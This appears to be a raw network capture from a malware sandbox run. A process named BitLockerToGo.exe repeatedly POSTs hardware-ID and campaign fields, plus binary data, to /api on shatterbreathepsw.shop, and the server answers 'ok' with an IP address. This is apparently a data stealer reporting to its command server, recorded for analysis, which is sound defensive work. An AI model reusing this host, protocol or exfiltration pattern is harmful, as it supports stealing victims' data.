2024-05-02 15:04:23 UTC	563	IN	Data Raw: 33 64 62 34 0d 0a 73 71 62 6f 34 68 44 43 39 41 72 6c 61 6f 69 54 54 69 74 78 39 45 78 55 44 32 32 6f 7a 49 49 39 30 4b 72 72 6f 41 36 6a 43 72 6a 4a 72 4f 48 41 5a 75 44 4f 4b 74 46 47 67 70 70 73 57 42 54 57 64 6e 52 37 48 39 32 70 72 6a 66 5a 69 49 72 45 4c 4a 6b 71 33 74 50 4b 6d 34 63 38 79 50 30 6f 69 42 4b 71 71 57 35 77 65 2f 30 33 58 67 5a 6b 69 71 6e 73 48 2b 71 4b 79 64 64 72 77 57 2f 41 78 73 4f 47 6b 58 6d 74 6d 6b 71 49 44 2f 7a 79 49 30 6f 43 6e 32 49 39 59 45 2b 45 78 6f 73 30 38 73 2b 52 67 6a 53 44 4b 50 58 58 30 6f 6d 76 63 62 47 66 4b 4d 6c 67 67 5a 70 73 54 67 58 57 64 6e 51 74 4d 59 71 38 34 30 2b 78 78 35 6a 38 4c 4a 6c 78 35 4a 44 50 6e 49 64 69 6f 34 42 6a 69 67 54 37 7a 32 77 52 52 38 52 38 5a 44 39 64 31 65 36 49 4e 4b 32 67 34 Data Ascii: 3db4sqbo4hDC9ArlaoiTTitx9ExUD22ozII90KrroA6jCrjJrOHAZuDOKtFGgppsWBTWdnR7H92prjfZiIrELJkq3tPKm4c8yP0oiBKqqW5we/03XgZkiqnsH+qKyddrwW/AxsOGkXmtmkqID/zyI0oCn2I9YE+Exos08s+RgjSDKPXX0omvcbGfKMlggZpsTgXWdnQtMYq840+xx5j8LJlx5JDPnIdio4BjigT7z2wRR8R8ZD9d1e6INK2g4
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 4e 4c 43 4d 71 61 59 61 59 6f 49 2b 50 6b 6e 51 68 61 45 4a 54 39 67 41 73 71 6a 36 6c 43 78 79 49 37 49 5a 73 35 69 33 74 33 4a 6a 49 42 79 34 4e 67 41 37 47 4f 71 39 6a 51 4a 53 39 52 75 46 57 67 66 7a 61 4c 32 48 59 69 49 34 61 6c 7a 6a 77 4f 59 6b 71 7a 68 6d 52 72 4c 2f 53 69 41 42 4b 71 70 62 67 6b 62 6b 79 30 31 5a 67 44 4a 70 75 74 4e 73 74 71 50 7a 32 6e 54 62 74 2f 65 7a 6f 6d 53 65 4b 36 51 61 34 34 44 34 2f 51 72 54 56 50 59 52 6c 30 47 54 38 32 32 6f 41 66 77 69 4b 6a 50 5a 38 31 69 7a 64 43 45 34 75 74 74 37 76 34 44 6e 6d 43 42 6d 6d 78 4f 48 39 5a 32 64 43 30 4c 79 36 72 68 57 37 7a 47 6a 63 35 71 7a 32 58 56 31 73 36 4b 68 33 69 6f 6e 6d 6d 4b 41 2b 58 78 4b 55 51 58 6b 43 49 33 61 45 2b 45 78 6f 73 30 38 73 2b 52 67 6a 53 44 4b 50 54 58 Data Ascii: NLCMqaYaYoI+PknQhaEJT9gAsqj6lCxyI7IZs5i3t3JjIBy4NgA7GOq9jQJS9RuFWgfzaL2HYiI4alzjwOYkqzhmRrL/SiABKqpbgkbky01ZgDJputNstqPz2nTbt/ezomSeK6Qa44D4/QrTVPYRl0GT822oAfwiKjPZ81izdCE4utt7v4DnmCBmmxOH9Z2dC0Ly6rhW7zGjc5qz2XV1s6Kh3ionmmKA+XxKUQXkCI3aE+Exos08s+RgjSDKPTX
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 4f 79 6b 57 47 4f 41 75 76 2f 49 30 49 66 6b 7a 77 39 59 67 66 46 72 2b 31 53 75 63 79 4a 67 69 4b 70 41 37 47 51 77 35 4c 41 4b 75 4c 57 53 59 6f 48 2b 50 49 39 43 79 61 56 49 44 68 71 47 59 72 47 69 30 44 38 6f 4f 4c 62 42 4b 6f 44 6d 74 66 49 79 74 67 77 34 4a 64 6b 69 77 6e 6c 39 79 5a 42 45 4a 63 38 50 32 49 48 78 61 66 68 58 4c 62 4a 67 39 42 2b 77 57 54 49 33 4d 36 4d 6a 33 2b 73 31 69 62 76 59 34 47 78 4b 31 46 54 7a 6d 78 32 52 77 7a 65 72 65 6f 64 68 38 75 48 7a 47 76 58 4b 4c 4b 37 32 38 54 6f 47 62 6e 2b 41 2b 78 49 37 66 31 73 45 56 48 57 49 7a 64 6c 43 64 69 68 37 56 79 38 78 6f 62 48 59 38 6c 6f 32 74 33 42 6a 6f 74 35 6f 35 74 73 6c 51 4c 71 2b 53 6c 49 47 5a 78 75 65 41 56 6b 6f 65 37 6e 52 2f 4b 51 79 34 4a 64 31 6d 4f 59 35 63 65 45 6a Data Ascii: OykWGOAuv/I0Ifkzw9YgfFr+1SucyJgiKpA7GQw5LAKuLWSYoH+PI9CyaVIDhqGYrGi0D8oOLbBKoDmtfIytgw4Jdkiwnl9yZBEJc8P2IHxafhXLbJg9B+wWTI3M6Mj3+s1ibvY4GxK1FTzmx2Rwzereodh8uHzGvXKLK728ToGbn+A+xI7f1sEVHWIzdlCdih7Vy8xobHY8lo2t3Bjot5o5tslQLq+SlIGZxueAVkoe7nR/KQy4Jd1mOY5ceEj
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 74 69 67 2f 68 38 6a 35 62 45 4a 49 67 4f 69 31 42 6f 73 57 4c 48 37 58 51 79 5a 6f 75 67 55 33 4e 30 39 53 4d 67 7a 4c 49 2f 58 66 4a 59 49 48 6f 52 43 4a 34 31 69 6b 36 4c 56 65 49 37 75 42 52 76 73 4f 4f 79 57 66 46 62 4e 72 64 7a 34 53 4f 65 36 79 65 5a 49 41 61 35 2f 51 6b 51 78 71 54 49 6a 74 75 48 63 6d 76 6f 42 48 61 6f 2b 4b 43 61 39 6b 6f 67 70 4b 45 72 62 4e 46 67 39 59 41 37 42 65 6b 6d 55 64 51 65 2f 31 46 64 6d 6f 44 69 76 61 69 48 37 50 41 6a 73 78 6f 30 32 62 49 33 73 4f 4b 68 6e 71 6f 6b 57 53 4a 42 76 6a 35 4c 55 6b 64 6d 53 59 2f 61 51 37 4f 71 75 78 59 38 6f 62 68 71 51 65 42 62 38 4b 51 6e 4d 6a 41 57 71 4f 4d 63 73 55 6d 34 66 45 72 57 51 57 4e 62 6c 34 47 45 49 54 47 69 30 62 61 6f 2b 4b 43 61 38 30 6f 67 70 4b 45 6a 6f 74 34 71 5a Data Ascii: tig/h8j5bEJIgOi1BosWLH7XQyZougU3N09SMgzLI/XfJYIHoRCJ41ik6LVeI7uBRvsOOyWfFbNrdz4SOe6yeZIAa5/QkQxqTIjtuHcmvoBHao+KCa9kogpKErbNFg9YA7BekmUdQe/1FdmoDivaiH7PAjsxo02bI3sOKhnqokWSJBvj5LUkdmSY/aQ7OquxY8obhqQeBb8KQnMjAWqOMcsUm4fErWQWNbl4GEITGi0bao+KCa80ogpKEjot4qZ
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 34 50 67 76 52 52 57 58 49 44 5a 6a 44 34 72 67 69 44 54 5a 69 49 37 61 4c 4a 6b 71 6d 76 44 50 6e 4a 56 78 73 4a 42 76 69 30 69 43 6d 6a 4d 48 65 2f 30 33 58 67 5a 6b 69 71 6e 73 48 2b 71 4b 79 63 78 2b 78 57 6e 61 32 4d 32 47 69 33 71 79 6b 57 2b 4d 42 75 54 36 4b 45 55 61 6e 53 63 7a 59 51 37 42 70 2b 56 62 75 4d 36 45 67 69 4b 70 41 37 47 51 77 35 4c 41 4b 75 4c 57 52 49 51 48 34 62 46 45 49 67 7a 59 52 6c 31 30 5a 36 48 46 6f 46 69 2b 69 4e 47 41 4c 4d 5a 67 30 74 37 48 6a 49 74 2b 72 4a 64 68 67 51 33 69 39 69 4e 4f 47 70 45 75 4d 48 38 49 78 36 66 67 56 4c 76 43 6a 63 4e 6e 67 53 61 79 75 36 2f 4b 68 32 72 67 7a 69 72 48 4f 75 33 6e 50 45 70 54 2f 6b 55 70 49 32 53 69 78 66 6b 33 32 61 50 4a 78 57 43 42 4d 4a 69 51 79 5a 69 42 64 37 4b 53 5a 34 77 Data Ascii: 4PgvRRWXIDZjD4rgiDTZiI7aLJkqmvDPnJVxsJBvi0iCmjMHe/03XgZkiqnsH+qKycx+xWna2M2Gi3qykW+MBuT6KEUanSczYQ7Bp+VbuM6EgiKpA7GQw5LAKuLWRIQH4bFEIgzYRl10Z6HFoFi+iNGALMZg0t7HjIt+rJdhgQ3i9iNOGpEuMH8Ix6fgVLvCjcNngSayu6/Kh2rgzirHOu3nPEpT/kUpI2Sixfk32aPJxWCBMJiQyZiBd7KSZ4w
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 30 6f 63 6c 53 30 33 5a 78 33 59 6f 75 6c 58 74 38 53 43 7a 47 72 54 62 74 58 5a 78 34 6d 4a 64 61 69 61 59 6f 51 50 71 72 39 45 49 6e 6a 57 4b 53 34 74 56 34 6a 75 77 30 69 69 78 63 6d 71 42 39 34 6d 73 72 76 64 34 75 73 5a 34 4a 46 6b 78 31 43 6f 73 53 52 45 47 35 77 71 4d 57 41 49 7a 4b 66 79 56 72 66 47 69 63 5a 6e 7a 6d 37 65 30 38 53 59 68 6e 61 6f 6c 57 57 4b 42 75 6e 31 62 41 64 37 2f 55 56 32 61 68 65 4b 39 71 49 66 67 4d 57 48 32 57 50 47 65 64 43 51 72 4f 47 66 50 4d 6a 39 63 65 39 6a 67 62 45 72 52 56 50 4f 62 48 5a 70 41 64 69 6c 34 56 53 35 78 6f 37 4e 61 63 74 6f 31 64 54 48 68 49 74 7a 6f 35 35 6c 69 67 62 67 2b 43 56 4f 48 35 49 70 64 69 4e 6e 6f 63 57 67 57 4b 71 49 30 59 41 73 36 6b 6e 33 2f 4d 4f 51 77 42 72 4c 69 53 62 76 59 2f 4f 5a Data Ascii: 0oclS03Zx3YoulXt8SCzGrTbtXZx4mJdaiaYoQPqr9EInjWKS4tV4juw0iixcmqB94msrvd4usZ4JFkx1CosSREG5wqMWAIzKfyVrfGicZnzm7e08SYhnaolWWKBun1bAd7/UV2aheK9qIfgMWH2WPGedCQrOGfPMj9ce9jgbErRVPObHZpAdil4VS5xo7Nacto1dTHhItzo55ligbg+CVOH5IpdiNnocWgWKqI0YAs6kn3/MOQwBrLiSbvY/OZ
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 41 6a 4a 69 31 6e 6f 62 47 75 4e 39 6e 52 34 61 6b 48 67 57 2f 57 6b 4a 7a 49 77 48 53 70 6b 47 2b 42 42 76 6a 30 4b 6b 59 63 6e 79 63 79 5a 51 7a 4b 71 75 52 59 74 38 75 46 79 57 76 43 5a 39 37 5a 79 6f 4f 50 4d 75 37 2b 41 2b 78 49 37 65 6c 73 45 56 48 57 44 79 31 75 41 38 66 75 69 44 53 74 68 75 47 70 64 61 6b 44 73 5a 44 44 68 73 41 71 34 74 5a 6b 69 51 33 71 2b 79 70 4e 46 70 41 6b 4d 32 30 45 79 61 48 6b 57 62 62 48 69 63 6c 6c 77 47 37 66 32 73 2b 4d 6a 58 47 6d 6b 43 6a 4a 59 49 47 61 62 45 34 4c 31 6e 5a 30 4c 53 2f 52 6f 2b 78 59 38 71 44 69 33 53 4b 70 41 38 4f 34 72 2b 48 41 64 61 7a 57 4d 4d 56 49 34 66 30 6f 54 68 4f 62 4c 54 35 6f 43 38 43 72 34 46 65 67 77 49 6e 46 66 74 4e 6f 30 39 58 49 69 59 42 32 70 70 39 75 68 41 79 71 76 30 51 69 65 Data Ascii: AjJi1nobGuN9nR4akHgW/WkJzIwHSpkG+BBvj0KkYcnycyZQzKquRYt8uFyWvCZ97ZyoOPMu7+A+xI7elsEVHWDy1uA8fuiDSthuGpdakDsZDDhsAq4tZkiQ3q+ypNFpAkM20EyaHkWbbHicllwG7f2s+MjXGmkCjJYIGabE4L1nZ0LS/Ro+xY8qDi3SKpA8O4r+HAdazWMMVI4f0oThObLT5oC8Cr4FegwInFftNo09XIiYB2pp9uhAyqv0Qie
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 74 56 34 6a 75 31 56 79 38 78 6f 37 55 66 59 78 50 31 4e 66 46 6e 4a 42 6c 72 39 59 6d 37 32 4f 42 73 53 6f 4a 53 39 52 39 65 41 56 6b 6f 65 37 6b 54 76 4b 51 79 35 49 2b 6d 6a 32 4a 68 35 54 59 36 42 6d 2f 32 41 44 73 45 59 4b 61 52 77 6b 46 31 6e 5a 30 50 30 47 69 78 59 73 66 6f 49 6a 52 67 43 79 47 61 38 6a 43 77 6f 6d 57 63 65 65 6f 56 71 41 65 34 50 59 38 54 67 53 5a 62 6e 67 46 5a 4b 48 75 37 78 2f 71 69 72 43 71 42 36 6f 44 6d 74 6e 44 6b 5a 46 6b 72 59 5a 76 78 32 43 42 6d 68 4d 48 65 2f 31 46 64 6e 56 50 6b 75 79 67 61 72 48 47 68 38 56 36 30 43 58 39 78 73 36 4e 6b 48 57 33 6d 53 6a 4a 59 49 47 61 62 45 39 54 7a 6d 78 6c 49 32 65 68 78 61 42 62 6f 34 6a 52 67 44 79 54 4d 34 2b 44 6b 39 72 53 47 73 75 4a 4a 75 39 6a 38 35 6c 48 49 6c 4f 41 62 6d Data Ascii: tV4ju1Vy8xo7UfYxP1NfFnJBlr9Ym72OBsSoJS9R9eAVkoe7kTvKQy5I+mj2Jh5TY6Bm/2ADsEYKaRwkF1nZ0P0GixYsfoIjRgCyGa8jCwomWceeoVqAe4PY8TgSZbngFZKHu7x/qirCqB6oDmtnDkZFkrYZvx2CBmhMHe/1FdnVPkuygarHGh8V60CX9xs6NkHW3mSjJYIGabE9TzmxlI2ehxaBbo4jRgDyTM4+Dk9rSGsuJJu9j85lHIlOAbm
2024-05-02 15:04:23 UTC	1369	IN	Data Raw: 37 75 4e 4e 6f 49 65 59 31 47 48 52 62 35 62 59 31 59 65 4d 4d 75 37 55 4b 4d 73 4d 34 66 30 70 54 67 50 5a 50 43 5a 6d 41 39 7a 69 35 45 33 79 68 73 75 43 66 63 70 6e 79 4e 37 44 78 5a 46 6b 72 59 5a 72 67 67 2b 6d 2b 54 31 45 48 39 5a 67 64 43 30 61 77 61 4c 6d 55 71 65 48 6d 4e 52 76 31 32 2b 57 32 4e 57 48 6a 44 4b 66 32 41 44 73 59 36 72 70 62 42 46 52 31 68 73 31 59 77 48 4e 75 50 45 53 6b 73 4f 46 77 57 44 41 62 35 71 65 72 4f 48 72 4d 71 62 57 4d 4d 56 62 70 4a 6c 48 49 6c 4f 53 50 33 59 31 54 5a 72 38 75 77 72 68 6e 39 6d 51 42 4b 70 33 6c 4c 69 76 6b 2b 67 5a 79 39 5a 2b 78 31 43 6f 6f 32 49 68 65 50 31 75 4a 43 31 58 69 4f 36 6e 58 4b 44 61 6a 38 46 36 77 69 2f 6b 37 73 57 48 6a 7a 36 75 6e 57 69 41 47 50 7a 71 59 45 45 51 6a 44 51 49 55 79 54 Data Ascii: 7uNNoIeY1GHRb5bY1YeMMu7UKMsM4f0pTgPZPCZmA9zi5E3yhsuCfcpnyN7DxZFkrYZrgg+m+T1EH9ZgdC0awaLmUqeHmNRv12+W2NWHjDKf2ADsY6rpbBFR1hs1YwHNuPESksOFwWDAb5qerOHrMqbWMMVbpJlHIlOSP3Y1TZr8uwrhn9mQBKp3lLivk+gZy9Z+x1Coo2IheP1uJC1XiO6nXKDaj8F6wi/k7sWHjz6unWiAGPzqYEEQjDQIUyT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49720	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:24 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12861 Host: shatterbreathepsw.shop
2024-05-02 15:04:24 UTC	12861	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
2024-05-02 15:04:25 UTC	814	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0tflvessie5al68n17to1bo77h; expires=Mon, 26-Aug-2024 08:51:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ap%2F%2Byo5jeR6%2FKNkcF9XcB6ZVS%2BK3uGeWK0VGRUmfiBoQk2FcUugPdwTR9EKDwU7FPpX3Vifjyrc3W%2FYmsNkQ1V4wzAB3IypLrkb%2B2kjYMnuG%2FHS3Yo6MxevohYYyty%2F03NaKJmU63ts"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e7542ae47ca2-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:04:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49721	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:26 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15107 Host: shatterbreathepsw.shop
2024-05-02 15:04:26 UTC	15107	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
2024-05-02 15:04:27 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvn9lij6q4edivaatnfs9qhumk; expires=Mon, 26-Aug-2024 08:51:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rYxvKB7yB1JF2YATr3222jTQb%2FZaECHUqIitv0f9m8ZHEexZ5OA4ONvaCOZB7naJz1yhbE9giU3tVc%2FSXjLIboZxuUw6SShOh1zYgMl6wB51%2FjiSp0AtzQiH2PIY0HpkXtw1x39TtLT3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e75d5eb95f22-SYD alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:04:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49722	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:31 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19965 Host: shatterbreathepsw.shop
2024-05-02 15:04:31 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
2024-05-02 15:04:31 UTC	4634	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de Data Ascii: +?2+?2+?o?Mp5p_
2024-05-02 15:04:31 UTC	810	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aj0p7enlnrjeq607jkomrp31lg; expires=Mon, 26-Aug-2024 08:51:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mp%2Bx1GX3A%2Fl3lFHxJQcRM7iD7erqm7c1KAzv24n2hlokwhnxF8k6hmQ6GUyiOS64N2OJ%2BmjMZm%2BEJIqW31iGbpItFKWZ%2BLZz4jqwRukcp9eJWrRfsTJApFUHCLRhNi%2BEEHc1LbgvODhV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e77cab7a4239-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:04:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49723	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:32 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3802 Host: shatterbreathepsw.shop
2024-05-02 15:04:32 UTC	3802	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
